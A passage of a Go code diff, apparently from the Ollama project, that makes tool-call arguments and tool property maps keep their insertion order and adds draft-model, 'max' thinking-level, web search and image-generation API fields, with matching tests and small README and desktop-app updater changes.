+func (t *ToolCallFunctionArguments) Len() int {
+	if t == nil || t.om == nil {
+		return 0
+	}
+	return t.om.Len()
+}
+
+// All returns an iterator over all key-value pairs in insertion order.
+func (t *ToolCallFunctionArguments) All() iter.Seq2[string, any] {
+	if t == nil || t.om == nil {
+		return func(yield func(string, any) bool) {}
+	}
+	return t.om.All()
+}
+
+// ToMap returns a regular map (order not preserved).
+func (t *ToolCallFunctionArguments) ToMap() map[string]any {
+	if t == nil || t.om == nil {
+		return nil
+	}
+	return t.om.ToMap()
+}
 
 func (t *ToolCallFunctionArguments) String() string {
-	bts, _ := json.Marshal(t)
+	if t == nil || t.om == nil {
+		return "{}"
+	}
+	bts, _ := json.Marshal(t.om)
 	return string(bts)
 }
 
+func (t *ToolCallFunctionArguments) UnmarshalJSON(data []byte) error {
+	t.om = orderedmap.New[string, any]()
+	return json.Unmarshal(data, t.om)
+}
+
+func (t ToolCallFunctionArguments) MarshalJSON() ([]byte, error) {
+	if t.om == nil {
+		return []byte("{}"), nil
+	}
+	return json.Marshal(t.om)
+}
+
 type Tool struct {
 	Type     string       `json:"type"`
 	Items    any          `json:"items,omitempty"`
@@ -282,13 +364,79 @@ func (pt PropertyType) String() string {
 	return fmt.Sprintf("%v", []string(pt))
 }
 
+// ToolPropertiesMap holds tool properties in insertion order.
+type ToolPropertiesMap struct {
+	om *orderedmap.Map[string, ToolProperty]
+}
+
+// NewToolPropertiesMap creates a new empty ToolPropertiesMap.
+func NewToolPropertiesMap() *ToolPropertiesMap {
+	return &ToolPropertiesMap{om: orderedmap.New[string, ToolProperty]()}
+}
+
+// Get retrieves a property by name.
+func (t *ToolPropertiesMap) Get(key string) (ToolProperty, bool) {
+	if t == nil || t.om == nil {
+		return ToolProperty{}, false
+	}
+	return t.om.Get(key)
+}
+
+// Set sets a property, preserving insertion order.
+func (t *ToolPropertiesMap) Set(key string, value ToolProperty) {
+	if t == nil {
+		return
+	}
+	if t.om == nil {
+		t.om = orderedmap.New[string, ToolProperty]()
+	}
+	t.om.Set(key, value)
+}
+
+// Len returns the number of properties.
+func (t *ToolPropertiesMap) Len() int {
+	if t == nil || t.om == nil {
+		return 0
+	}
+	return t.om.Len()
+}
+
+// All returns an iterator over all properties in insertion order.
+func (t *ToolPropertiesMap) All() iter.Seq2[string, ToolProperty] {
+	if t == nil || t.om == nil {
+		return func(yield func(string, ToolProperty) bool) {}
+	}
+	return t.om.All()
+}
+
+// ToMap returns a regular map (order not preserved).
+func (t *ToolPropertiesMap) ToMap() map[string]ToolProperty {
+	if t == nil || t.om == nil {
+		return nil
+	}
+	return t.om.ToMap()
+}
+
+func (t ToolPropertiesMap) MarshalJSON() ([]byte, error) {
+	if t.om == nil {
+		return []byte("null"), nil
+	}
+	return json.Marshal(t.om)
+}
+
+func (t *ToolPropertiesMap) UnmarshalJSON(data []byte) error {
+	t.om = orderedmap.New[string, ToolProperty]()
+	return json.Unmarshal(data, t.om)
+}
+
 type ToolProperty struct {
-	AnyOf       []ToolProperty          `json:"anyOf,omitempty"`
-	Type        PropertyType            `json:"type,omitempty"`
-	Items       any                     `json:"items,omitempty"`
-	Description string                  `json:"description,omitempty"`
-	Enum        []any                   `json:"enum,omitempty"`
-	Properties  map[string]ToolProperty `json:"properties,omitempty"`
+	AnyOf       []ToolProperty     `json:"anyOf,omitempty"`
+	Type        PropertyType       `json:"type,omitempty"`
+	Items       any                `json:"items,omitempty"`
+	Description string             `json:"description,omitempty"`
+	Enum        []any              `json:"enum,omitempty"`
+	Properties  *ToolPropertiesMap `json:"properties,omitempty"`
+	Required    []string           `json:"required,omitempty"`
 }
 
 // ToTypeScriptType converts a ToolProperty to a TypeScript type string
@@ -337,11 +485,11 @@ func mapToTypeScriptType(jsonType string) string {
 }
 
 type ToolFunctionParameters struct {
-	Type       string                  `json:"type"`
-	Defs       any                     `json:"$defs,omitempty"`
-	Items      any                     `json:"items,omitempty"`
-	Required   []string                `json:"required,omitempty"`
-	Properties map[string]ToolProperty `json:"properties"`
+	Type       string             `json:"type"`
+	Defs       any                `json:"$defs,omitempty"`
+	Items      any                `json:"items,omitempty"`
+	Required   []string           `json:"required,omitempty"`
+	Properties *ToolPropertiesMap `json:"properties"`
 }
 
 func (t *ToolFunctionParameters) String() string {
@@ -452,12 +600,13 @@ type Options struct {
 
 // Runner options which must be set when the model is loaded into memory
 type Runner struct {
-	NumCtx    int   `json:"num_ctx,omitempty"`
-	NumBatch  int   `json:"num_batch,omitempty"`
-	NumGPU    int   `json:"num_gpu,omitempty"`
-	MainGPU   int   `json:"main_gpu,omitempty"`
-	UseMMap   *bool `json:"use_mmap,omitempty"`
-	NumThread int   `json:"num_thread,omitempty"`
+	NumCtx          int   `json:"num_ctx,omitempty"`
+	NumBatch        int   `json:"num_batch,omitempty"`
+	NumGPU          int   `json:"num_gpu,omitempty"`
+	MainGPU         *int  `json:"main_gpu,omitempty"`
+	UseMMap         *bool `json:"use_mmap,omitempty"`
+	NumThread       int   `json:"num_thread,omitempty"`
+	DraftNumPredict int   `json:"draft_num_predict,omitempty"`
 }
 
 // EmbedRequest is the request passed to [Client.Embed].
@@ -524,6 +673,9 @@ type CreateRequest struct {
 	// Quantize is the quantization format for the model; leave blank to not change the quantization level.
 	Quantize string `json:"quantize,omitempty"`
 
+	// DraftQuantize is the quantization format for the draft model.
+	DraftQuantize string `json:"draft_quantize,omitempty"`
+
 	// From is the name of the model or file to use as the source.
 	From string `json:"from,omitempty"`
 
@@ -533,6 +685,9 @@ type CreateRequest struct {
 	// Files is a map of files include when creating the model.
 	Files map[string]string `json:"files,omitempty"`
 
+	// DraftFiles is a map of draft model files to include when creating the model.
+	DraftFiles map[string]string `json:"draft_files,omitempty"`
+
 	// Adapters is a map of LoRA adapters to include when creating the model.
 	Adapters map[string]string `json:"adapters,omitempty"`
 
@@ -602,7 +757,7 @@ type ShowResponse struct {
 	Messages      []Message          `json:"messages,omitempty"`
 	RemoteModel   string             `json:"remote_model,omitempty"`
 	RemoteHost    string             `json:"remote_host,omitempty"`
-	ModelInfo     map[string]any     `json:"model_info,omitempty"`
+	ModelInfo     map[string]any     `json:"model_info"`
 	ProjectorInfo map[string]any     `json:"projector_info,omitempty"`
 	Tensors       []Tensor           `json:"tensors,omitempty"`
 	Capabilities  []model.Capability `json:"capabilities,omitempty"`
@@ -654,6 +809,21 @@ type ListResponse struct {
 	Models []ListModelResponse `json:"models"`
 }
 
+// ModelRecommendationsResponse is the response from [Client.ModelRecommendationsExperimental].
+type ModelRecommendationsResponse struct {
+	Recommendations []ModelRecommendation `json:"recommendations"`
+}
+
+// ModelRecommendation is a single recommendation entry in [ModelRecommendationsResponse].
+type ModelRecommendation struct {
+	Model           string `json:"model"`
+	Description     string `json:"description"`
+	ContextLength   int    `json:"context_length,omitempty"`
+	MaxOutputTokens int    `json:"max_output_tokens,omitempty"`
+	VRAMBytes       int64  `json:"vram_bytes,omitempty"`
+	RequiredPlan    string `json:"required_plan,omitempty"`
+}
+
 // ProcessResponse is the response from [Client.Process].
 type ProcessResponse struct {
 	Models []ProcessModelResponse `json:"models"`
@@ -661,14 +831,15 @@ type ProcessResponse struct {
 
 // ListModelResponse is a single model description in [ListResponse].
 type ListModelResponse struct {
-	Name        string       `json:"name"`
-	Model       string       `json:"model"`
-	RemoteModel string       `json:"remote_model,omitempty"`
-	RemoteHost  string       `json:"remote_host,omitempty"`
-	ModifiedAt  time.Time    `json:"modified_at"`
-	Size        int64        `json:"size"`
-	Digest      string       `json:"digest"`
-	Details     ModelDetails `json:"details,omitempty"`
+	Name         string             `json:"name"`
+	Model        string             `json:"model"`
+	RemoteModel  string             `json:"remote_model,omitempty"`
+	RemoteHost   string             `json:"remote_host,omitempty"`
+	ModifiedAt   time.Time          `json:"modified_at"`
+	Size         int64              `json:"size"`
+	Digest       string             `json:"digest"`
+	Details      ModelDetails       `json:"details,omitempty"`
+	Capabilities []model.Capability `json:"capabilities,omitempty"`
 }
 
 // ProcessModelResponse is a single model description in [ProcessResponse].
@@ -687,6 +858,46 @@ type TokenResponse struct {
 	Token string `json:"token"`
 }
 
+type CloudStatus struct {
+	Disabled bool   `json:"disabled"`
+	Source   string `json:"source"`
+}
+
+// StatusResponse is the response from [Client.CloudStatusExperimental].
+type StatusResponse struct {
+	Cloud CloudStatus `json:"cloud"`
+}
+
+// WebSearchRequest is the request for [Client.WebSearchExperimental].
+type WebSearchRequest struct {
+	Query      string `json:"query"`
+	MaxResults int    `json:"max_results,omitempty"`
+}
+
+// WebSearchResult is a single result from [Client.WebSearchExperimental].
+type WebSearchResult struct {
+	Title   string `json:"title"`
+	URL     string `json:"url"`
+	Content string `json:"content"`
+}
+
+// WebSearchResponse is the response from [Client.WebSearchExperimental].
+type WebSearchResponse struct {
+	Results []WebSearchResult `json:"results"`
+}
+
+// WebFetchRequest is the request for [Client.WebFetchExperimental].
+type WebFetchRequest struct {
+	URL string `json:"url"`
+}
+
+// WebFetchResponse is the response from [Client.WebFetchExperimental].
+type WebFetchResponse struct {
+	Title   string   `json:"title"`
+	Content string   `json:"content"`
+	Links   []string `json:"links,omitempty"`
+}
+
 // GenerateResponse is the response passed into [GenerateResponseFunc].
 type GenerateResponse struct {
 	// Model is the model name that generated the response.
@@ -727,6 +938,20 @@ type GenerateResponse struct {
 	// Logprobs contains log probability information for the generated tokens,
 	// if requested via the Logprobs parameter.
 	Logprobs []Logprob `json:"logprobs,omitempty"`
+
+	// Experimental: Image generation fields (may change or be removed)
+
+	// Image contains a base64-encoded generated image.
+	// Only present for image generation models.
+	Image string `json:"image,omitempty"`
+
+	// Completed is the number of completed steps in image generation.
+	// Only present for image generation models during streaming.
+	Completed int64 `json:"completed,omitempty"`
+
+	// Total is the total number of steps for image generation.
+	// Only present for image generation models during streaming.
+	Total int64 `json:"total,omitempty"`
 }
 
 // ModelDetails provides details about a model.
@@ -737,6 +962,8 @@ type ModelDetails struct {
 	Families          []string `json:"families"`
 	ParameterSize     string   `json:"parameter_size"`
 	QuantizationLevel string   `json:"quantization_level"`
+	ContextLength     int      `json:"context_length,omitempty"`
+	EmbeddingLength   int      `json:"embedding_length,omitempty"`
 }
 
 // UserResponse provides information about a user.
@@ -859,14 +1086,25 @@ func (opts *Options) FromMap(m map[string]any) error {
 				}
 				field.Set(reflect.ValueOf(slice))
 			case reflect.Pointer:
-				var b bool
-				if field.Type() == reflect.TypeOf(&b) {
+				switch field.Type().Elem().Kind() {
+				case reflect.Bool:
 					val, ok := val.(bool)
 					if !ok {
 						return fmt.Errorf("option %q must be of type boolean", key)
 					}
 					field.Set(reflect.ValueOf(&val))
-				} else {
+				case reflect.Int:
+					var i int
+					switch t := val.(type) {
+					case int64:
+						i = int(t)
+					case float64:
+						i = int(t)
+					default:
+						return fmt.Errorf("option %q must be of type integer", key)
+					}
+					field.Set(reflect.ValueOf(&i))
+				default:
 					return fmt.Errorf("unknown type loading config params: %v %v", field.Kind(), field.Type())
 				}
 			default:
@@ -899,16 +1137,17 @@ func DefaultOptions() Options {
 
 		Runner: Runner{
 			// options set when the model is loaded
-			NumCtx:    int(envconfig.ContextLength()),
-			NumBatch:  512,
-			NumGPU:    -1, // -1 here indicates that NumGPU should be set dynamically
-			NumThread: 0,  // let the runtime decide
-			UseMMap:   nil,
+			NumCtx:          int(envconfig.ContextLength()),
+			NumBatch:        512,
+			NumGPU:          -1, // -1 here indicates that NumGPU should be set dynamically
+			NumThread:       0,  // let the runtime decide
+			DraftNumPredict: 4,
+			UseMMap:         nil,
 		},
 	}
 }
 
-// ThinkValue represents a value that can be a boolean or a string ("high", "medium", "low")
+// ThinkValue represents a value that can be a boolean or a string ("high", "medium", "low", "max")
 type ThinkValue struct {
 	// Value can be a bool or string
 	Value interface{}
@@ -924,7 +1163,7 @@ func (t *ThinkValue) IsValid() bool {
 	case bool:
 		return true
 	case string:
-		return v == "high" || v == "medium" || v == "low"
+		return v == "high" || v == "medium" || v == "low" || v == "max"
 	default:
 		return false
 	}
@@ -958,8 +1197,8 @@ func (t *ThinkValue) Bool() bool {
 	case bool:
 		return v
 	case string:
-		// Any string value ("high", "medium", "low") means thinking is enabled
-		return v == "high" || v == "medium" || v == "low"
+		// Any string value ("high", "medium", "low", "max") means thinking is enabled
+		return v == "high" || v == "medium" || v == "low" || v == "max"
 	default:
 		return false
 	}
@@ -997,14 +1236,14 @@ func (t *ThinkValue) UnmarshalJSON(data []byte) error {
 	var s string
 	if err := json.Unmarshal(data, &s); err == nil {
 		// Validate string values
-		if s != "high" && s != "medium" && s != "low" {
-			return fmt.Errorf("invalid think value: %q (must be \"high\", \"medium\", \"low\", true, or false)", s)
+		if s != "high" && s != "medium" && s != "low" && s != "max" {
+			return fmt.Errorf("invalid think value: %q (must be \"high\", \"medium\", \"low\", \"max\", true, or false)", s)
 		}
 		t.Value = s
 		return nil
 	}
 
-	return fmt.Errorf("think must be a boolean or string (\"high\", \"medium\", \"low\", true, or false)")
+	return fmt.Errorf("think must be a boolean or string (\"high\", \"medium\", \"low\", \"max\", true, or false)")
 }
 
 // MarshalJSON implements json.Marshaler
@@ -1107,14 +1346,20 @@ func FormatParams(params map[string][]string) (map[string]any, error) {
 					// TODO: only string slices are supported right now
 					out[key] = vals
 				case reflect.Pointer:
-					var b bool
-					if field.Type() == reflect.TypeOf(&b) {
+					switch field.Type().Elem().Kind() {
+					case reflect.Bool:
 						boolVal, err := strconv.ParseBool(vals[0])
 						if err != nil {
 							return nil, fmt.Errorf("invalid bool value %s", vals)
 						}
 						out[key] = &boolVal
-					} else {
+					case reflect.Int:
+						intVal, err := strconv.ParseInt(vals[0], 10, 64)
+						if err != nil {
+							return nil, fmt.Errorf("invalid int value %s", vals)
+						}
+						out[key] = intVal
+					default:
 						return nil, fmt.Errorf("unknown type %s for %s", field.Kind(), key)
 					}
 				default:

api/types_test.go

@@ -11,6 +11,28 @@ import (
 	"github.com/stretchr/testify/require"
 )
 
+// testPropsMap creates a ToolPropertiesMap from a map (convenience function for tests, order not preserved)
+func testPropsMap(m map[string]ToolProperty) *ToolPropertiesMap {
+	props := NewToolPropertiesMap()
+	for k, v := range m {
+		props.Set(k, v)
+	}
+	return props
+}
+
+func testIntPtr(v int) *int {
+	return &v
+}
+
+// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests, order not preserved)
+func testArgs(m map[string]any) ToolCallFunctionArguments {
+	args := NewToolCallFunctionArguments()
+	for k, v := range m {
+		args.Set(k, v)
+	}
+	return args
+}
+
 func TestKeepAliveParsingFromJSON(t *testing.T) {
 	tests := []struct {
 		name string
@@ -150,6 +172,47 @@ func TestUseMmapParsingFromJSON(t *testing.T) {
 	}
 }
 
+func TestMainGPUParsingFromJSON(t *testing.T) {
+	tests := []struct {
+		name    string
+		req     string
+		wantGPU *int
+	}{
+		{
+			name: "Undefined",
+			req:  `{}`,
+		},
+		{
+			name:    "Zero",
+			req:     `{ "main_gpu": 0 }`,
+			wantGPU: testIntPtr(0),
+		},
+		{
+			name:    "Nonzero",
+			req:     `{ "main_gpu": 1 }`,
+			wantGPU: testIntPtr(1),
+		},
+	}
+
+	for _, test := range tests {
+		t.Run(test.name, func(t *testing.T) {
+			var oMap map[string]any
+			err := json.Unmarshal([]byte(test.req), &oMap)
+			require.NoError(t, err)
+
+			opts := DefaultOptions()
+			err = opts.FromMap(oMap)
+			require.NoError(t, err)
+
+			if test.wantGPU == nil {
+				assert.Nil(t, opts.MainGPU)
+			} else if assert.NotNil(t, opts.MainGPU) {
+				assert.Equal(t, *test.wantGPU, *opts.MainGPU)
+			}
+		})
+	}
+}
+
 func TestUseMmapFormatParams(t *testing.T) {
 	tr := true
 	fa := false
@@ -214,6 +277,12 @@ func TestUseMmapFormatParams(t *testing.T) {
 	}
 }
 
+func TestMainGPUFormatParams(t *testing.T) {
+	resp, err := FormatParams(map[string][]string{"main_gpu": {"0"}})
+	require.NoError(t, err)
+	assert.Equal(t, int64(0), resp["main_gpu"])
+}
+
 func TestMessage_UnmarshalJSON(t *testing.T) {
 	tests := []struct {
 		input    string
@@ -309,9 +378,9 @@ func TestToolFunctionParameters_MarshalJSON(t *testing.T) {
 			input: ToolFunctionParameters{
 				Type:     "object",
 				Required: []string{"name"},
-				Properties: map[string]ToolProperty{
+				Properties: testPropsMap(map[string]ToolProperty{
 					"name": {Type: PropertyType{"string"}},
-				},
+				}),
 			},
 			expected: `{"type":"object","required":["name"],"properties":{"name":{"type":"string"}}}`,
 		},
@@ -319,9 +388,9 @@ func TestToolFunctionParameters_MarshalJSON(t *testing.T) {
 			name: "no required",
 			input: ToolFunctionParameters{
 				Type: "object",
-				Properties: map[string]ToolProperty{
+				Properties: testPropsMap(map[string]ToolProperty{
 					"name": {Type: PropertyType{"string"}},
-				},
+				}),
 			},
 			expected: `{"type":"object","properties":{"name":{"type":"string"}}}`,
 		},
@@ -339,7 +408,7 @@ func TestToolFunctionParameters_MarshalJSON(t *testing.T) {
 func TestToolCallFunction_IndexAlwaysMarshals(t *testing.T) {
 	fn := ToolCallFunction{
 		Name:      "echo",
-		Arguments: ToolCallFunctionArguments{"message": "hi"},
+		Arguments: testArgs(map[string]any{"message": "hi"}),
 	}
 
 	data, err := json.Marshal(fn)
@@ -477,6 +546,11 @@ func TestThinking_UnmarshalJSON(t *testing.T) {
 			input:            `{ "think": "low" }`,
 			expectedThinking: &ThinkValue{Value: "low"},
 		},
+		{
+			name:             "string_max",
+			input:            `{ "think": "max" }`,
+			expectedThinking: &ThinkValue{Value: "max"},
+		},
 		{
 			name:             "invalid_string",
 			input:            `{ "think": "invalid" }`,
@@ -529,7 +603,7 @@ func TestToolPropertyNestedProperties(t *testing.T) {
 			expected: ToolProperty{
 				Type:        PropertyType{"object"},
 				Description: "Location details",
-				Properties: map[string]ToolProperty{
+				Properties: testPropsMap(map[string]ToolProperty{
 					"address": {
 						Type:        PropertyType{"string"},
 						Description: "Street address",
@@ -538,7 +612,7 @@ func TestToolPropertyNestedProperties(t *testing.T) {
 						Type:        PropertyType{"string"},
 						Description: "City name",
 					},
-				},
+				}),
 			},
 		},
 		{
@@ -566,22 +640,22 @@ func TestToolPropertyNestedProperties(t *testing.T) {
 			expected: ToolProperty{
 				Type:        PropertyType{"object"},
 				Description: "Event",
-				Properties: map[string]ToolProperty{
+				Properties: testPropsMap(map[string]ToolProperty{
 					"location": {
 						Type:        PropertyType{"object"},
 						Description: "Location",
-						Properties: map[string]ToolProperty{
+						Properties: testPropsMap(map[string]ToolProperty{
 							"coordinates": {
 								Type:        PropertyType{"object"},
 								Description: "GPS coordinates",
-								Properties: map[string]ToolProperty{
+								Properties: testPropsMap(map[string]ToolProperty{
 									"lat": {Type: PropertyType{"number"}, Description: "Latitude"},
 									"lng": {Type: PropertyType{"number"}, Description: "Longitude"},
-								},
+								}),
 							},
-						},
+						}),
 					},
-				},
+				}),
 			},
 		},
 	}
@@ -591,7 +665,13 @@ func TestToolPropertyNestedProperties(t *testing.T) {
 			var prop ToolProperty
 			err := json.Unmarshal([]byte(tt.input), &prop)
 			require.NoError(t, err)
-			assert.Equal(t, tt.expected, prop)
+
+			// Compare JSON representations since pointer comparison doesn't work
+			expectedJSON, err := json.Marshal(tt.expected)
+			require.NoError(t, err)
+			actualJSON, err := json.Marshal(prop)
+			require.NoError(t, err)
+			assert.JSONEq(t, string(expectedJSON), string(actualJSON))
 
 			// Round-trip test: marshal and unmarshal again
 			data, err := json.Marshal(prop)
@@ -600,7 +680,10 @@ func TestToolPropertyNestedProperties(t *testing.T) {
 			var prop2 ToolProperty
 			err = json.Unmarshal(data, &prop2)
 			require.NoError(t, err)
-			assert.Equal(t, tt.expected, prop2)
+
+			prop2JSON, err := json.Marshal(prop2)
+			require.NoError(t, err)
+			assert.JSONEq(t, string(expectedJSON), string(prop2JSON))
 		})
 	}
 }
@@ -616,12 +699,12 @@ func TestToolFunctionParameters_String(t *testing.T) {
 			params: ToolFunctionParameters{
 				Type:     "object",
 				Required: []string{"name"},
-				Properties: map[string]ToolProperty{
+				Properties: testPropsMap(map[string]ToolProperty{
 					"name": {
 						Type:        PropertyType{"string"},
 						Description: "The name of the person",
 					},
-				},
+				}),
 			},
 			expected: `{"type":"object","required":["name"],"properties":{"name":{"type":"string","description":"The name of the person"}}}`,
 		},
@@ -638,7 +721,7 @@ func TestToolFunctionParameters_String(t *testing.T) {
 					s.Self = s
 					return s
 				}(),
-				Properties: map[string]ToolProperty{},
+				Properties: testPropsMap(map[string]ToolProperty{}),
 			},
 			expected: "",
 		},
@@ -651,3 +734,235 @@ func TestToolFunctionParameters_String(t *testing.T) {
 		})
 	}
 }
+
+func TestToolCallFunctionArguments_OrderPreservation(t *testing.T) {
+	t.Run("marshal preserves insertion order", func(t *testing.T) {
+		args := NewToolCallFunctionArguments()
+		args.Set("zebra", "z")
+		args.Set("apple", "a")
+		args.Set("mango", "m")
+
+		data, err := json.Marshal(args)
+		require.NoError(t, err)
+
+		// Should preserve insertion order, not alphabetical
+		assert.Equal(t, `{"zebra":"z","apple":"a","mango":"m"}`, string(data))
+	})
+
+	t.Run("unmarshal preserves JSON order", func(t *testing.T) {
+		jsonData := `{"zebra":"z","apple":"a","mango":"m"}`
+
+		var args ToolCallFunctionArguments
+		err := json.Unmarshal([]byte(jsonData), &args)
+		require.NoError(t, err)
+
+		// Verify iteration order matches JSON order
+		var keys []string
+		for k := range args.All() {
+			keys = append(keys, k)
+		}
+		assert.Equal(t, []string{"zebra", "apple", "mango"}, keys)
+	})
+
+	t.Run("round trip preserves order", func(t *testing.T) {
+		original := `{"z":1,"a":2,"m":3,"b":4}`
+
+		var args ToolCallFunctionArguments
+		err := json.Unmarshal([]byte(original), &args)
+		require.NoError(t, err)
+
+		data, err := json.Marshal(args)
+		require.NoError(t, err)
+
+		assert.Equal(t, original, string(data))
+	})
+
+	t.Run("String method returns ordered JSON", func(t *testing.T) {
+		args := NewToolCallFunctionArguments()
+		args.Set("c", 3)
+		args.Set("a", 1)
+		args.Set("b", 2)
+
+		assert.Equal(t, `{"c":3,"a":1,"b":2}`, args.String())
+	})
+
+	t.Run("Get retrieves correct values", func(t *testing.T) {
+		args := NewToolCallFunctionArguments()
+		args.Set("key1", "value1")
+		args.Set("key2", 42)
+
+		v, ok := args.Get("key1")
+		assert.True(t, ok)
+		assert.Equal(t, "value1", v)
+
+		v, ok = args.Get("key2")
+		assert.True(t, ok)
+		assert.Equal(t, 42, v)
+
+		_, ok = args.Get("nonexistent")
+		assert.False(t, ok)
+	})
+
+	t.Run("Len returns correct count", func(t *testing.T) {
+		args := NewToolCallFunctionArguments()
+		assert.Equal(t, 0, args.Len())
+
+		args.Set("a", 1)
+		assert.Equal(t, 1, args.Len())
+
+		args.Set("b", 2)
+		assert.Equal(t, 2, args.Len())
+	})
+
+	t.Run("empty args marshal to empty object", func(t *testing.T) {
+		args := NewToolCallFunctionArguments()
+		data, err := json.Marshal(args)
+		require.NoError(t, err)
+		assert.Equal(t, `{}`, string(data))
+	})
+
+	t.Run("zero value args marshal to empty object", func(t *testing.T) {
+		var args ToolCallFunctionArguments
+		assert.Equal(t, "{}", args.String())
+	})
+}
+
+func TestToolPropertiesMap_OrderPreservation(t *testing.T) {
+	t.Run("marshal preserves insertion order", func(t *testing.T) {
+		props := NewToolPropertiesMap()
+		props.Set("zebra", ToolProperty{Type: PropertyType{"string"}})
+		props.Set("apple", ToolProperty{Type: PropertyType{"number"}})
+		props.Set("mango", ToolProperty{Type: PropertyType{"boolean"}})
+
+		data, err := json.Marshal(props)
+		require.NoError(t, err)
+
+		// Should preserve insertion order, not alphabetical
+		expected := `{"zebra":{"type":"string"},"apple":{"type":"number"},"mango":{"type":"boolean"}}`
+		assert.Equal(t, expected, string(data))
+	})
+
+	t.Run("unmarshal preserves JSON order", func(t *testing.T) {
+		jsonData := `{"zebra":{"type":"string"},"apple":{"type":"number"},"mango":{"type":"boolean"}}`
+
+		var props ToolPropertiesMap
+		err := json.Unmarshal([]byte(jsonData), &props)
+		require.NoError(t, err)
+
+		// Verify iteration order matches JSON order
+		var keys []string
+		for k := range props.All() {
+			keys = append(keys, k)
+		}
+		assert.Equal(t, []string{"zebra", "apple", "mango"}, keys)
+	})
+
+	t.Run("round trip preserves order", func(t *testing.T) {
+		original := `{"z":{"type":"string"},"a":{"type":"number"},"m":{"type":"boolean"}}`
+
+		var props ToolPropertiesMap
+		err := json.Unmarshal([]byte(original), &props)
+		require.NoError(t, err)
+
+		data, err := json.Marshal(props)
+		require.NoError(t, err)
+
+		assert.Equal(t, original, string(data))
+	})
+
+	t.Run("Get retrieves correct values", func(t *testing.T) {
+		props := NewToolPropertiesMap()
+		props.Set("name", ToolProperty{Type: PropertyType{"string"}, Description: "The name"})
+		props.Set("age", ToolProperty{Type: PropertyType{"integer"}, Description: "The age"})
+
+		v, ok := props.Get("name")
+		assert.True(t, ok)
+		assert.Equal(t, "The name", v.Description)
+
+		v, ok = props.Get("age")
+		assert.True(t, ok)
+		assert.Equal(t, "The age", v.Description)
+
+		_, ok = props.Get("nonexistent")
+		assert.False(t, ok)
+	})
+
+	t.Run("Len returns correct count", func(t *testing.T) {
+		props := NewToolPropertiesMap()
+		assert.Equal(t, 0, props.Len())
+
+		props.Set("a", ToolProperty{})
+		assert.Equal(t, 1, props.Len())
+
+		props.Set("b", ToolProperty{})
+		assert.Equal(t, 2, props.Len())
+	})
+
+	t.Run("nil props marshal to null", func(t *testing.T) {
+		var props *ToolPropertiesMap
+		data, err := json.Marshal(props)
+		require.NoError(t, err)
+		assert.Equal(t, `null`, string(data))
+	})
+
+	t.Run("ToMap returns regular map", func(t *testing.T) {
+		props := NewToolPropertiesMap()
+		props.Set("a", ToolProperty{Type: PropertyType{"string"}})
+		props.Set("b", ToolProperty{Type: PropertyType{"number"}})
+
+		m := props.ToMap()
+		assert.Equal(t, 2, len(m))
+		assert.Equal(t, PropertyType{"string"}, m["a"].Type)
+		assert.Equal(t, PropertyType{"number"}, m["b"].Type)
+	})
+}
+
+func TestToolCallFunctionArguments_ComplexValues(t *testing.T) {
+	t.Run("nested objects preserve order", func(t *testing.T) {
+		jsonData := `{"outer":{"z":1,"a":2},"simple":"value"}`
+
+		var args ToolCallFunctionArguments
+		err := json.Unmarshal([]byte(jsonData), &args)
+		require.NoError(t, err)
+
+		// Outer keys should be in order
+		var keys []string
+		for k := range args.All() {
+			keys = append(keys, k)
+		}
+		assert.Equal(t, []string{"outer", "simple"}, keys)
+	})
+
+	t.Run("arrays as values", func(t *testing.T) {
+		args := NewToolCallFunctionArguments()
+		args.Set("items", []string{"a", "b", "c"})
+		args.Set("numbers", []int{1, 2, 3})
+
+		data, err := json.Marshal(args)
+		require.NoError(t, err)
+
+		assert.Equal(t, `{"items":["a","b","c"],"numbers":[1,2,3]}`, string(data))
+	})
+}
+
+func TestToolPropertiesMap_NestedProperties(t *testing.T) {
+	t.Run("nested properties preserve order", func(t *testing.T) {
+		props := NewToolPropertiesMap()
+
+		nestedProps := NewToolPropertiesMap()
+		nestedProps.Set("z_field", ToolProperty{Type: PropertyType{"string"}})
+		nestedProps.Set("a_field", ToolProperty{Type: PropertyType{"number"}})
+
+		props.Set("outer", ToolProperty{
+			Type:       PropertyType{"object"},
+			Properties: nestedProps,
+		})
+
+		data, err := json.Marshal(props)
+		require.NoError(t, err)
+
+		// Both outer and inner should preserve order
+		expected := `{"outer":{"type":"object","properties":{"z_field":{"type":"string"},"a_field":{"type":"number"}}}}`
+		assert.Equal(t, expected, string(data))
+	})
+}

app/README.md

@@ -75,9 +75,9 @@ The `-dev` flag enables:
 CI builds with Xcode 14.1 for OS compatibility prior to v13.  If you want to manually build v11+ support, you can download the older Xcode [here](https://developer.apple.com/services-account/download?path=/Developer_Tools/Xcode_14.1/Xcode_14.1.xip), extract, then `mv ./Xcode.app /Applications/Xcode_14.1.0.app` then activate with:
 
 ```
-export CGO_CFLAGS=-mmacosx-version-min=12.0
-export CGO_CXXFLAGS=-mmacosx-version-min=12.0
-export CGO_LDFLAGS=-mmacosx-version-min=12.0
+export CGO_CFLAGS="-O3 -mmacosx-version-min=12.0"
+export CGO_CXXFLAGS="-O3 -mmacosx-version-min=12.0"
+export CGO_LDFLAGS="-mmacosx-version-min=12.0"
 export SDKROOT=/Applications/Xcode_14.1.0.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk
 export DEVELOPER_DIR=/Applications/Xcode_14.1.0.app/Contents/Developer
 ```

app/cmd/app/app.go

@@ -35,6 +35,7 @@ import (
 var (
 	wv           = &Webview{}
 	uiServerPort int
+	appStore     *store.Store
 )
 
 var debug = strings.EqualFold(os.Getenv("OLLAMA_DEBUG"), "true") || os.Getenv("OLLAMA_DEBUG") == "1"
@@ -156,10 +157,6 @@ func main() {
 		}
 	}
 
-	if u := os.Getenv("OLLAMA_UPDATE_URL"); u != "" {
-		updater.UpdateCheckURLBase = u
-	}
-
 	// Detect if this is a first start after an upgrade, in
 	// which case we need to do some cleanup
 	var skipMove bool
@@ -208,6 +205,7 @@ func main() {
 	uiServerPort = port
 
 	st := &store.Store{}
+	appStore = st
 
 	// Enable CORS in development mode
 	if devMode {
@@ -253,6 +251,8 @@ func main() {
 		done <- osrv.Run(octx)
 	}()
 
+	upd := &updater.Updater{Store: st}
+
 	uiServer := ui.Server{
 		Token: token,
 		Restart: func() {
@@ -267,6 +267,10 @@ func main() {
 		ToolRegistry: toolRegistry,
 		Dev:          devMode,
 		Logger:       slog.Default(),
+		Updater:      upd,
+		UpdateAvailableFunc: func() {
+			UpdateAvailable("")
+		},
 	}
 
 	srv := &http.Server{
@@ -284,8 +288,20 @@ func main() {
 		slog.Debug("background desktop server done")
 	}()
 
-	updater := &updater.Updater{Store: st}
